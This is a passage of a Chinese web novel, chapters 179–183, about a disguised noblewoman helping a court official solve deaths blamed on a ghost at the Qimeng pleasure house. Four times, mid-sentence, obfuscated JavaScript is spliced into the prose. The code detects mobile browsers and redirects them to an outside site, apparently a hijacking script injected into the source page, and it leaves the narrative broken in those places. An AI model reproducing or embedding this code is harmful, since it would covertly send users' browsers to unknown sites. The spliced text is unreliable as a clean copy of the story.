柳如风的本意是替宋颜夕解围,但没想到,这裴子耽见了他,处处得理不饶人,逮着他就把他为何来琦梦阁,在二楼包房做了什么,以及他与宋颜夕是什么关系盘问得明明白白,临了还要再不冷不热地讽刺几句。 若非柳如风脾气好,只怕是此刻两人已经扭打起来。 根据柳如风的供词,林泉的死亡时间基本锁定在他们离开琦梦阁到宋颜夕再次回到琦梦阁的这半个时辰之内。 他们已经查过那两个姑娘,除了被吓得失了魂之外,并无异常。 裴子耽在二楼包厢门口来回踱步:“身上没有明显外伤,也没有中毒痕迹,就这么一会儿功夫,人到底是怎么死的呢?” 他的手下低声问了一句:“会不会,是因为力不从心,精......” 裴子耽扫了那人一眼:“林公子才多少岁?便是身体再虚也不至于在这种事上暴毙。” 此事,定然还有蹊跷。 “裴少卿若想知道林公子是怎么死的,不妨让贾公子验一验尸体。” 柳如风的话,成功吸引了所有人的注意力。就连宋颜夕也一脸好奇地看向他。 他莫非是看出她的心思了? “你会验尸?”问话的是裴子耽。 宋颜夕抱拳:“在下,略懂一点医术。” “你是大夫?在哪家医馆供职?为何本官从未见过你?” “无名小卒,只是个小学徒而已,大人不认识在下也是正常的。” 裴子耽狐疑地盯着她,越发觉得这人眼熟。但过目不忘的他,愣是想不起来在哪里见过她。 最终,他还是采纳了柳如风的建议。让宋颜夕当场验尸。 “如何了?”宋颜夕还没来得及将面巾摘下,裴子耽就迫不及待地问道。 “除了断过腿之外,林公子身体康健,不可能是突然暴毙。” 裴子耽翻了个白眼:“这还用你说?” “不仅如此,他浑身上下都没有新添的伤痕,显然也不是受到外力撞击或者锐器击打致死。于是,我便查看了他的......” “少说那些没用的,直接说结果。” 宋颜夕见裴子耽这急躁的模样,不由得想起上回弦歌坊的案子。 那个时候,这位裴少卿虽对着南宫景狗腿了些,断案时却也是沉稳得很。 怎么今日在柳如风面前就像换了个人似的? 这两个人,到底有什么过节? “若我没看错的话,林公子是被,活活吓死的。” “吓死的?” “这怎么可能?” 裴子耽第一时间否定了这个可能:“当时屋内可就只有林公子和绮梦阁的那两位姑娘。贾公子莫不是说,林公子是被那两位姑娘吓死的不成?” “就是啊,我看,那两个姑娘倒是快被林公子的死状吓死了呢。” 在场的人显然没有一个人相信宋颜夕的话。 但却有一个例外,那就是柳如风。 “贾公子说他是被吓死的?是否发现了他身上的疑点?” “没错。” 宋颜夕掀起林泉的眼皮,“虽然他身上没有中毒和外伤的痕迹,但,瞳孔却呈放大状态,而且,他周身肌肉紧绷,显然在死前经历了什么可怕的事情。” 裴子耽看向春分:“你说,贾公子离开之后,你一直在楼下没有离开?” 春分点头:“是的。” “那,你可有听到什么动静?” 春分摇了摇头:“绮梦阁里太嘈杂了,而且,我距离林公子的包厢也不算近,并未听见大动静。” “那两个姑娘呢?可能问话了?” 裴子耽转而看向另一个衙役,见衙役摇头,裴子耽的脸色有些难看。 “或许,我有办法让她们冷静下来。” 最终,还是宋颜夕出手,才让大理寺顺利给那两个姑娘录了口供 但她们的口供里并没有什么有用的消息。 两位姑娘的答案是一致的,他们和林泉进了包厢之后,便行了那云雨之事,后来,三人都累了,便都睡了过去。等她们醒来的时候,林泉已经死了。 因为那两位姑娘是最后见到林泉的人,而且无法自证清白,嫌疑最大,是以,直接被带回了大理寺。 “那个房间是谁的?” 裴子耽指向林泉房间窗户对面的那个房间问道。 从布局上来看,那个包房分明在顶好的位置,却在窗户外面上落了锁。 绮梦阁的掌事春娘立刻陪着笑说道:“回大人,那个房间,只是我们堆放杂物的场所而已。” “哦?带本官去看看。” “这个,怕是不妥。”春娘有些为难。 “怎么?你这绮梦阁还有什么地方是本官进不得的?还是说,那房间里藏了什么见不得人的的东西?” “草民哪儿敢呐,实在是那个房间,它......邪门得很呐。” 春娘真么一说,就连宋颜夕都来了兴致:“怎么个邪门法?” “你若是不说,可就是妨碍司法公正。我们有权把你带回大理寺。” 春娘犹豫再三,最后,终于还是颤抖着说出了那个秘密:“那个房间,闹鬼!” 第179章:绮梦阁命案(三) “什么,绮梦阁还闹鬼呢?” 春分嘀咕着说了一句:“该不会,林公子就是被鬼给吓死的吧?” 这话虽说得极轻,但无奈,这屋子里总有那么几个耳力好的。 裴子耽就是其中之一。 他先是扫了春分一眼,然后就将目光落在春娘身上:“本官可不相信什么鬼神之说。还不速速带路。” 走到那个房间的正门口才发现,不仅仅是窗户,就连房门都是钉死的。 “开门!”裴子耽下达命令。 春娘开门的时候,手一直在颤抖。 “抖什么?就算真有鬼,还有裴少卿在前面顶着呢。” 听到宋颜夕的话,裴子耽朝她看了过来。 宋颜夕眨眼:“少卿别误会,在下的意思是,大人一身正气,便是鬼神夜市近不得身的。所以啊,有大人在,安全得很。” 裴子耽点头:“你这话倒是中肯。” 话虽如此,春娘的手却是抖得更厉害了。最后,还是大理寺的人直接从她手中拿过钥匙打开了门。 门打开的那一瞬间,一股阴冷之气扑面而来。 不知从哪儿吹来一股冷风,将那满屋子的符纸吹得沙沙作响。 最诡异的是,其中一张符纸竟然从墙上被吹了下来,正好贴在春娘的脑门上。 “啊!鬼呀!” 春娘发出一声惊呼,整个人笔挺地朝地上倒了下去。 一波操作,看呆了一众人。 春娘并没有撒谎,这间屋子里除了那些符纸之外,堆放着的都是杂物。看起来已经很久没人进来了,屋子里到处都积满了灰。 宋颜夕将手放在窗户上推了推,并没有推动。 这个房间的窗户的确是从外面上锁的。 这也就排除了凶手从这个房间跳到对面**的可能。 正当众人打算离开房间的时候,耳边忽然响起一阵嘤嘤嘤的哭声。 那声音空灵得很。听起来,应该是年轻女子发出的。 但他们在房间里搜了一圈,都没有发现那个发出声音的女子。 “难道,真有鬼?” 不知是谁说了一句。 “胡说八道,这朗朗乾坤哪儿来的鬼?都给我搜仔细了,定要把那个装神弄鬼的家伙揪出来。” 裴子耽一声令下,大理寺的那些衙役立刻开始地毯式搜索。 但奇怪的是,那声音不仅没有消失,反而还断断续续哼起了歌。 歌声越来越响。 不仅仅是这个房间,就连被拘在一楼的那些人也都听见了。 “这是,如意姑娘?” “你在胡说什么?这怎么可能是如意姑娘的歌声?” “我不会听错的,那就是如意的歌声。当年,咱们可都是如意的座上宾。这声音,我这辈子都不不会忘。” “可是,如意三年前已经**。怎么可能还会听见她的歌声?” 这句话一出,刚刚还陶醉其中的宾客顿时面色苍白。 “是啊,如意已经**。这可是大家伙都看见的。难道,真的见鬼了?” 就在众人心慌意乱之时,忽然听见一道清冷的声音在耳边响起:“谁是如意?” 如意,曾经是绮梦阁的花魁,长得花容月貌不说,那如黄鹂一般的歌喉更是世间少见。 三年前,她仅仅哼唱了一曲“秋月”,就惹得上京城的青年才俊踏破了绮梦阁的门槛。 当时,还有一个富商一掷千金为她赎身。 可就在她即将离开绮梦阁的那一夜,有人发现她死在自己的房里。死状可怖,连脑袋都被砍下一大半,歪歪扭扭地挂在那儿。 “凶手可落网了?”宋颜夕问。 裴子耽点头:“是那个要为她赎身的富商,据说,是发现如意和其他男人私会,一怒之下便拿刀砍了如意的脑袋。” 讲到这儿的时候,春娘正好醒来。 “当年如意住的那间房,就是被钉死的那间?”宋颜夕问。 春娘点头,表情还是有些发怵:“没错。” “你们说的闹鬼,又是怎么回事?” “那是如意死后一个月发生的事。” 根据春娘所说,如意死后的一个月,琦梦阁发生了一些奇怪的事。先是姑娘们莫名其妙丢了东西,后来,又出现了一些死老鼠。 “我们都没把这事往如意身上想,还以为是对家故意找茬,一直到那天晚上,我们听见了如意的歌声。” 春娘哆嗦着将那晚发生的事讲了出来。 如意死后,那个房间闲置了几个月,但琦梦阁毕竟是开门做生意的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586446|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修缮后便住进了新的姑娘。 但就在那个姑娘住进去之后的第三天,琦梦阁就出现了如意的歌声。 歌声停止的时候,那位住进去的姑娘便从窗户上跳了下去。 自从那件事发生之后,春娘便让人将如意的房间全部钉死。并且在屋内贴了许多符咒。 “最后是以**定案的?”宋颜夕和春分对视一眼。 听到歌声便**,听着着实有些匪夷所思。 “没错,这件案子当时也是大理寺办的,那份卷宗本官也看过,定为**没有问题。” 说到这儿,裴子耽看向春娘:“不过,卷宗中可没有提到如意的歌声,你们当时为何隐瞒?” 春娘还在发抖:“大人恕罪,只是这种事情实在诡异,我们也不敢提啊。” “方才,咱们可都听到歌声了,该不会,还要**吧?” 春分这话本是无心,却不想,竟然一语成谶。 话音刚落,后院忽然传来一阵尖叫声。 当他们赶到后院的时候,便见几个端着盘子的小工惨白着一张脸坐在地上。 而在她们不远处,一道蓝色身影倒在血泊中。 宋颜夕抬头一看,如意房间那扇被钉死的窗,竟然打开了。 “你们几个,上去看看。” 发号施令之后,裴子耽蹲在那人身边查看,最终脸色阴沉地说道:“**。” 正在此时,上楼查看的衙役也传来消息:“少卿,楼上没有发现异常。” 连续出了两桩命案,琦梦阁人心惶惶。 甚至已经有人开始不安分地试图逃离,但很快就被大理寺的人押了回来。 “这摆明就是如意的鬼魂**,裴少卿,你把我们困在这儿也没用啊。不如就放我们离开吧?” “什么鬼魂**?简直是无稽之谈。若是再不安分,本官将你们统统押入诏狱。” 说完,裴子耽朝宋颜夕招了招手:“你不是会验尸吗?过来。” “他的确是摔死的,不过,死之前应该与人搏斗过。” 宋颜夕从死者的指甲缝里挖出了一些皮肤组织:“并且,死者曾经抓伤过那个人。” 裴子耽立刻命人查验在场的所有人。 最终,还真的在其中一人身上发现了抓伤。 第180章:绮梦阁命案(四) “如此说来,他应该是在在打斗中被人推下来的。” 但他们很快就发现,那个房间里根本就没有打斗的痕迹。 因为落了灰,只要有人在那个房间打斗过,一定会留下痕迹。 “也有可能,是从别处被打晕。然后,从那个房间被推下来的。 宋颜夕摸着下巴看向那打开的窗户。 现在有一个问题,凶手到底是怎么悄无声息地打开被钉死的窗户的呢? 死者徐飞,是个商人,而那个身上有抓伤的,正是他的合作伙伴,朱勇。 “你们曾经因为生意上的**打了一架?这么说,你是承认推徐飞下楼的人是你咯?” 朱勇赶紧跪下:“大人明鉴啊,小的虽然和徐飞发生了一些争吵,但这些不过都是小矛盾,我也犯不着为了这个**啊。” “你们发生争斗是在何时?”问话的是柳如风。 裴子耽扫了柳如风一眼,似乎是在谴责他越俎代庖。 不过,他最终并没有说什么。 朱勇赶紧说道:“我和他是在昨日发生口角的,正是因为如此,今日才会约在绮梦阁见面,为的便是缓和关系。大人您看,我还给他带了赔罪的礼物呢。” 说着,朱勇指了指他们所坐的位置:“徐飞爱书画,我便送了他一幅钱老的画作。就在那儿放着。” 然而,那个位置上却是空空如也。 “诶?我的画哪儿去了?” 裴子耽看向朱勇:“你的意思是,你送给徐飞的画,不见了?” “是啊,刚才还在那儿呢,难道,是被人趁乱偷走了?那幅画可是我花了三千两买的,裴大人,您一定要替我找回来啊。” 裴子耽可没工夫帮他找画,他现在在思考一个问题。 如果徐飞和朱勇是在昨日发生的争斗。徐飞指甲缝里的皮屑很难保留到现在。 最大的可能就是,徐飞还和另一个人发生过争斗。 当然,还有一种可能。 那就是,朱勇在撒谎。 为了证实这一点,裴子耽命人找来了目击证人。 那人是街上的小摊贩,昨日徐飞和朱勇争吵打斗时,不慎掀翻了他的摊子,因此,他记得徐飞二人打斗的时间。正是昨日午后。 “如此说来,凶手极有可能还在这些人当中,或许,那人用特殊的方式遮掩了伤口。” 正在裴子耽打算让人再重新演一遍伤的时候,柳如风忽然问了一句:“绮梦阁的姑娘,你们不验一验吗?” 裴子耽扫了他一眼:“徐飞那样的大个子,姑娘家哪儿搬得动?不搜她们,是为了节省时间。” 他看向门口的方向,林举鹏怕是过不了多久就会来了。 那老家伙爱子如命,若是他横插一脚,查清这个案子就更难了。 “那可未必。”说话的是宋颜夕。 柳如风看向宋颜夕,但笑不语。 “你们俩打什么哑谜呢?” 裴子耽看着他们,莫名觉得十分不爽快。 但他不得不承认,他们的观点并没有错。追查凶案的时候,不应该放过任何一个可疑的人和线索。 但问题就在这里。 大理寺从上到下都是清一色的男子,若要为姑娘搜身,怕是不妥。 想了想,裴子耽朝其中一个衙役招了招手:“小五,你去相府,请二姑娘来一趟。” 虽然将名门贵女叫到琦梦阁的确不妥,但有了上回弦歌舫的经验,他认为,宋颜夕是最好的人选。 而且,他看得出来,宋颜夕和他所见过的那些贵女都不一样。 眼见那小五就要出门去,宋颜夕赶紧叫住他。 “其实,要给这些姑娘们检查,也未必要劳烦宋家姑娘。” 裴子耽狐疑地看向她:“你这是何意?” 宋颜夕轻咳一声,恢复原本的嗓音:“因为,我便是女子。如今在场的人当中,惟有我与柳世子有不在场证明。由我替大人检查这些姑娘,便是最稳妥的。” 此话一出,裴子耽瞬间愣在哪里。 这声音,不就是他口中的宋二姑娘吗。 想到这儿,他立刻生出警觉之色,尤其是在看向柳如风的时候,几乎要用眼刀子活剐了他。 宋二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590438|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘可是王爷的人,怎么和柳如风这厮混在一处了?竟然,还约在琦梦阁这样的地方见面。 若是让王爷知晓! 裴子耽打了个哆嗦,立刻将宋颜夕请到一边:“宋二姑娘,您怎么打扮成这样混进来了?方才,下官多有得罪了。” 对于他态度的转变,宋颜夕几乎瞬间就猜到原因。 她扯了扯嘴角:“此事,裴少卿可别多嘴啊。” 作为南宫景的顶级迷弟,她有充分的理由怀疑,这家伙转头就会将今日之事告诉南宫景。 裴子耽点头:“既然宋二姑娘也知此举不妥,日后,还是离那柳如风远一些。姑娘想必也知道,咱们王爷眼里是容不得沙子的。” 宋颜夕捏了捏手指,眼尾扫过一道冷芒:“裴少卿是在,威胁我?” “不敢不敢。下官只是友情提示而已。” 裴子耽擦了擦额角,果然啊,王爷的女人气场就是强大。 在宋颜夕的检查下,还真在两个姑娘身上发现了不同程度的抓痕。 “媚儿,欣儿,身上的伤怎么来的,赶紧向大人说明啊。”春娘一边说,一边朝那两个姑娘使眼色。 欣儿立刻跪下:“大人,我们没有**啊。欣儿身上的伤,是伺候客人的时候留下的。” 说着,她的眉眼瞟向人群中某个大腹便便的男人。 那人轻咳一声,走到裴子耽面前拱了拱手,道:“小的确实是在那方面没有节制,大人,这不犯法吧。” 裴子耽脸色一沉,看向那个叫媚儿的女子:“你身上的伤又是如何来的?” “我......” 媚儿支支吾吾说不出话,倒是急坏了一旁的春娘。 这个媚儿,便是他们琦梦阁的花魁。 若是真被扣上**的罪名,她这琦梦阁一定大受影响。 “大人明鉴,媚儿向来胆小,不可能**的。” 话还没说完就被裴子耽打断:“本官问的是她。” 媚儿犹犹豫豫半晌,最终扬起头说道:“没错,是我将徐飞推下楼的。我就是凶手,你们要抓,便抓我吧!” 第181章:计中计 媚儿如此干脆地承认**,是所有人都没有想到的。 但很快,他们就发现了端倪。 正如裴子耽先前所说,媚儿并没有推徐飞下楼的能力。因为宋颜夕在给她把脉的时候发现,媚儿曾经小产,而且,距离今日不会超过七日。 女子小产本就伤及气血,而且媚儿的身子亏空得厉害。 如今的媚儿,怕是连多走上几步路都会喘得厉害。 “你在替人顶罪!” 不是疑问,而是肯定句。 媚儿脸色一僵:“我没有撒谎,人就是我杀的。” “好,那你说说,你为何要杀了徐飞。” “他害**我的孩子,我要为我的孩子报仇。这个理由充分吗?” 说到这儿的时候,媚儿眼中闪过一道戾气。倒是与她绝美的五官十分不相称。 “可如意的房间并没有打斗的痕迹,你是如何将徐飞推下楼的?” “这种事情,需要我亲自动手吗?” 媚儿的语气淡淡的,说起**手法的时候,就像是吃茶闲聊一般。 “那姓徐的觊觎我许久了,我只要勾勾手指,他可不就得乖乖跳下去。只不过我没想到,那家伙临死前竟然还抓了我一把,若非如此,你们如何能怀疑到我身上?” “那如意的歌声又是怎么回事?还有那扇被钉死的窗户,你是如何打开的?” 媚儿看向裴子耽:“大人可知,媚儿是这琦梦阁楼的花魁?而如意,则是上一任花魁。” 裴子耽:“那又如何?” “要成为花魁,自然要有些真本事的。当年,如意凭借歌声站到那个位置,自从她死后,琦梦阁的生意便一日不如一日。从那个时候开始,春娘就暗中训练我们。在所有人当中,我的声音与如意是最像的。” 根据媚儿所说,如意的声音是她模仿的,为的就是引起恐慌,趁乱**。 而那扇被打开的窗户也很简单,她在前两日便定下了这**的计划。早就在窗户上做了机关,虽然那窗户看似被钉死,实则钉子早已松动。 宋颜夕在屋内尝试推窗的时候,实则,是因为那机关将窗户扣住了。 根据她的说辞,裴子耽让人查看了那扇窗户,果真在不起眼的地方发现了一些拉扯的痕迹。 这一切看似合情合理,但宋颜夕总觉得,有哪里不对。 若徐飞是自己跳下去的,那林泉呢?当真是被吓死的吗? 他在死前,又看见了什么? 还没等他们梳理出林泉的案子,林举鹏已经带人闯入了琦梦阁。 当他看到林泉的遗体时,整个人瞬间苍老了十岁。 他原本是想直接带人抄了琦梦阁的,但见裴子耽和柳如风都在,便只能暂时打消念头。 “裴少卿可抓到杀死我儿的凶手了?”林举鹏看向裴子耽。 “此案复杂,还望林尚书再等上几日。” “等上几日?” 林举鹏面色不悦:“我能等,我儿的冤魂可等不了。你不是抓了两个女子回大理寺吗?依本官看,那两名女子嫌疑最大,严刑拷打,必定能揪出凶手。” “林尚书莫不是想要屈打成招不成?”裴子耽直觉拒绝了他的提议。 “屈打成招?这可真是天大的笑话,你们大理寺的刑讯手段本官可是知道得一清二楚,怎么,如今这嫌疑人是娇滴滴的姑娘,裴少卿就起了怜香惜玉的心思了?你若是下不了手,大可将嫌犯交给本官。” 裴子耽严词拒绝:“林尚书莫要忘了,抓凶犯是我大理寺的职责,林尚书若是越俎代庖,怕是不合于法。” 眼见那俩人就要吵起来,柳如风适时开始打圆场:“二位大人,不妨听柳某一言?” 柳如风不愧是锦心公子,在他的劝说之下,竟然还真的让林举鹏放弃了冲进大理寺拿人的想法。 最终,林举鹏退而求其次,提出要将林泉的尸首领回去。 对于这一点,裴子耽未再阻拦。 当林举鹏将林泉的尸体带走之后,琦梦阁陷入了很长时间的安静。 最后,还是宋颜夕突发奇想,直接躺在林泉躺过的那张床上。 “宋,贾姑娘,你这是做什么?” 裴子耽赶紧朝春分使了个眼色:“你还愣着干什么?还不赶紧把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590439|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们家姑娘拉下来。” 柳如风也说了一句:“是啊贾姑娘,那毕竟是林公子出事的地方,怕是不吉利......” 话还没说完,却见宋颜夕瞳孔微微长大。 柳如风和裴子耽齐齐变了脸色,正要去拉宋颜夕,却见她已经先一步从床上蹦了起来。 “贾姑娘,你......” 柳如风正要开口询问,宋颜夕却已经走到其中一个衙役身边:“借你的刀一用。” 语毕,她直接抽出那人腰间的刀,反身朝床榻上方砍去。 刹那间,一团黑影从床榻上方笔直掉落下来。 “这是?修罗面具?” 那是一个面目狰狞的修罗面具,青面獠牙,怒目圆瞪。 宋颜夕躺在榻上的时候,正好与这个面具正面相对。 “莫非,林泉就是被这个面具吓死的?”裴子耽做出这样的猜测。 宋颜夕点头:“极有可能。” 当初她给林泉治腿的时候就已经向林举鹏询问过林泉的病史。 据林举鹏所说,林泉幼年时曾经被人贩子拐卖,而那个拐卖林泉的人贩子,当时戴的便是修罗面具。 因为试图逃跑,林泉曾被人贩子虐打,自那个时候开始,林泉便十份惧怕此类物品。 宋颜夕陷入沉思,这件事几乎是林家绝口不提的秘密。到底是谁能想到用这种方法杀害林泉呢? 这个人,一定对林府的一切了如指掌。 会是林府的人干的吗? “小五,速速将林尚书请回来。” 裴子耽也想到了这一点,立刻命人将林举鹏叫了回来。 当林举鹏看见那个修罗面具的时候,整张脸已经变得铁青。 “明知我儿......竟还......那贼人,当真是恶毒至极,恶毒至极啊。” 林举鹏念叨着这几句话,最后竟然直接夺过小五手中的刀,不管不顾地朝那面具砍了过去。 “小心!” 宋颜夕惊呼一声,立刻上前将林举鹏拽到一边。 刹那间,无数银针从那面具中射了出来。 第182章:在大理寺 “当心,针上有毒!” 随着宋颜夕的声音落下,其中一个衙役已经发出痛苦的呻吟声。 为了保护裴子耽,小五的胳膊上被银针刺中。 几乎就在那一瞬间,他的嘴唇变得青紫。 “快,扶他躺下!” 宋颜夕顾不得林举鹏,直接冲到小五身边,取出银针就朝他手上扎去。 “好阴毒的手法!” 裴子耽一脸担忧地看着小五:“这毒不会危及性命吧?” “自然会。” 宋颜夕并没有抬头:“对方似乎料准了有人会将那面具劈开。所以,他要杀的不仅仅是林公。” “姑娘的意思是,凶手的目标,是林尚书?”说话的是柳如风。 宋颜夕点头:“试问,我们当中有谁会在见到那个面具的时候愤懑地非要劈开那面具不可呢?” 唯有与林泉关系亲密的人才会如此。 而那个人,便是林举鹏。 “林尚书不妨想想,到底是谁如此了解您与林公子的习性,又能够精准地算计你们呢?” 林举鹏有好一会儿没有说话。 他自问,这么多年一直圆滑处事,若说树敌,也就只有..... “我知道了,一定是宋府的人干的。好一个宋章啊,表面上向我求和,背地里却做出此等恶毒之事。我这便上书陛下,求陛下为我儿主持公道。” 眼看林举鹏就要夺门而出,裴子耽赶紧命人将他拦下。 “林尚书便如此肯定,这一切是宋相指使?” “除了他还有谁?裴子耽,你拦着我,莫不是也和宋章是一伙的吧?” 因为在气头上,林举鹏也不和裴子耽搞那些虚的,直呼其名,“哼,我倒是忘了。你的主子如今和宋府的那位庶出的二姑娘可是沾着关系呢。” 宋颜夕扯了扯嘴角,这林举鹏也着实会想,裴子耽拦着他自然不可能因为她了。 想必,是裴子耽也觉得此事蹊跷。 结果,裴子耽竟然直接来了一句:“既然林尚书都这么说,我便更不能让你去找宋府的麻烦了。” 说完,他竟然还朝宋颜夕眨了眨眼。 “况且,此事未必就是宋相指使。林尚书不妨想想,宋相当真知晓林公子那些隐秘之事吗?” “那宋章诡计多端,谁知道他有没有派人调查......” 说到这儿,林举鹏忽然顿了一下:“说起来,此事我倒是还同一人讲过。” “那人是谁?” “当时,为我儿治腿的郎中,除了他之外,还有另外一人。可,他是静安王的人啊。莫非,是静安王?” 裴子耽和柳如风并不知道那件事,是以,他们同时开口:“你可还记得,那郎中的模样?” “虽没有十足的把握,但,可以一试。” 林举鹏的画术十份了得,画的人物也有七八分像。 宋颜夕扯了扯嘴角:“你们是怀疑此人杀了林公子?她若当真要**,当初又为何要替林公子治腿呢?” “他自然有他的目的。” 到了此时,林举鹏也没什么好顾忌的,直接把当日之事都说了出来。 “他们竟让你对付宋诚?如此说来,倒真与相府无关了。” 见他们一本正经地分析,宋颜夕不动声色地把裴子耽拉到一边:“省点心吧,你是找不到那个人的。而且,她也不可能是凶手。” 裴子耽压低声音:“莫非,二姑娘知道那人的下落?” 话音刚落下,他忽然想到什么,又加了一句:“该不会,那人便是......姑娘你吧?那他口中的另一人,莫不是”战王殿下吧? 宋颜夕淡笑不语。 裴子耽算是明白了:“既然如此,那凶手就极有可能是和林尚书交好之人。能将这一切算得分毫不差,莫非,凶手就潜藏在林府之中?” “是与不是,就要裴少卿去查了。不过,除此之外,还有另外一家,需要劳烦少卿。” 宋颜夕和裴子耽低语了几句。 对于她的要求,裴子耽全都应下。这倒是让宋颜夕有些惊讶:“少卿便如此信我?” 裴子耽摇头:“我信的,是王爷。姑娘既是王爷的人,自然便信得过。” 宋颜夕脸色微变:“谁说我是他的人了?我跟他不过是” “我懂我懂,我都懂。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596210|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴子耽朝她眨了眨眼:“心照不宣。” 从琦梦阁离开的时候,柳如风忽然问了一句:“姑娘与裴少卿相识?” “有过一面之缘。” “那我与姑娘可比他相熟多了。你我都见过这么多面了,我还不知道姑娘如何称呼呢?” “世子不是都唤我,贾公子了吗?” “那是在下信口胡诌的。姑娘,莫不是生气了?” “为何要生气?名字不过是个代号而已,柳世子想怎么称呼,便怎么称呼。我还有事,先告辞了。” 说着,宋颜夕朝春分招了招手。 眼见她们的身影消失在视线中,柳如风无奈地摇了摇头:“不肯告知真实姓名,莫不是,害羞了?还是说,她出身不好,恐我会嫌弃她?” 很快,他就否定了这个想法:“她谈吐不凡,身份自是不低。只怕,是在与我玩捉迷藏呢。姑娘放心,柳某一定早日揭开谜底,到那时,我自当三媒六聘娶你过门,不辜负姑娘的一片芳心。” 晚一步出来的裴子耽正好听见这句话。 他冷哼一声:“柳世子最好收起你那不该有的心思,她可不是你能宵想的。” “裴少卿此话何意?莫非,你是要与我争吗?” 柳如风理了理衣裳:“那你恐怕要失望了,贾姑娘早就对我芳心暗许,你是没有机会的。” 裴子耽像看傻子一样盯着柳如风,这家伙平时瞧着挺聪明的。这会儿怎么跟个二百五似的。 他到底哪里看出宋二姑娘喜欢他了? 果然啊,这书呆子,读书都读到**里去了。 “懒的理你。” 裴子耽轻哼一声,带着一大群人浩浩荡荡地离开了。 当他回到大理寺的时候,宋颜夕和春分已经在里面等着他。 “宋二姑娘久等了。我这就带你去天牢。” 宋颜夕此行来见的,正是不久前被带回来的媚儿。 再次见到宋颜夕的时候,媚儿眼中闪过不可置信之色:“怎么是你?” “我知道徐飞不是你杀的。媚儿姑娘,如今这儿没有旁人,不如你跟我说句实话,没准,我还可以救你一命。” 第183章:如意的歌声 “我不知道你在说什么,人就是我杀的。” “看来,你是真不怕死啊。”宋颜夕走到媚儿面前,饶有兴致地看着她,“还是说,你早就知道自己会死,所以,想要用自己的命换真凶的命?你和凶手,是什么关系?” 媚儿脸色一变:“少用你的心思揣度我,我都说了我就是凶手,你到底还想确认什么?” 说完,她直接看向站在一旁的裴子耽,“我倒是不知,大理寺何时能让一个女子审案了。” “女子怎么了?你不也是女子吗?” 宋颜夕直接在她面前蹲下,与她平视,“我可是为你好,你真以为,我们抓不到珠儿吗?” 说着,宋颜夕朝裴子耽使了个眼色。裴子耽立刻拍了拍手:“将人带上来。” 很快,小五便押着一个十二三岁的姑娘来到了牢房外。 看她的打扮,应该是琦梦阁的粗使丫头。 “珠儿!你们抓珠儿做什么?人是我杀的,你们要关就关我,快把珠儿放了。” 看到珠儿的时候,媚儿的情绪已经失了控。 “看来,你们感情很好。” 宋颜夕看向珠儿:“你忍心看到你媚儿姐姐为你定罪丢了性命吗?你看看她,脸色这么差,怕是都熬不到判刑就会......香消玉殒呢。” “我......” 珠儿脸色发白,眼中闪过挣扎之色。 就在她即将开口的时候,媚儿抢先一步:“威胁一个孩子算什么本事?珠儿莫怕,姐姐没事的。你听话,现在就回去,该干什么就干什么。你没有犯罪,他们不能关你的。” “看到了吗珠儿?她到现在还在为你着想。” 宋颜夕的话还没说完就被媚儿厉声打断:“你别再蛊惑她了,你们有什么招就冲我来。” “看来,你们是不见棺材不掉泪啊。好,本官就满足你。来人呐,把她拖到刑房,大刑伺候。” 眼见媚儿就要被拖走,珠儿瞬间崩溃得嚎啕大哭。 她颤抖着跪倒在裴子耽面前:“不要打媚儿姐姐,她没有**,我才是凶手。” 此话一出,媚儿几乎要挣脱开那两个衙役的禁锢:“珠儿你胡说什么?” 说完,她跪倒在裴子耽面前:“她在撒谎,她一个孩子怎么会**呢。你们也看出来了,珠儿与我感情好,她就是见不得我受刑,这才撒谎的。” “凭她一人当然杀不了徐飞,但,若凶手不仅仅是她呢?” 媚儿不可置信地看向宋颜夕:“你说什么?” “我说,杀死徐飞的并非你们其中的任何一人。徐飞,是被你们联手杀害的。” 宋颜夕一边说,一边从怀里掏出一个药瓶:“不得不说,你们很聪明。徐飞之所以会进入如意的房间,还如此乖顺地从窗上跳了下去,便是因为这个吧。” 裴子耽接过来,打量着那药瓶:“此乃何物?” 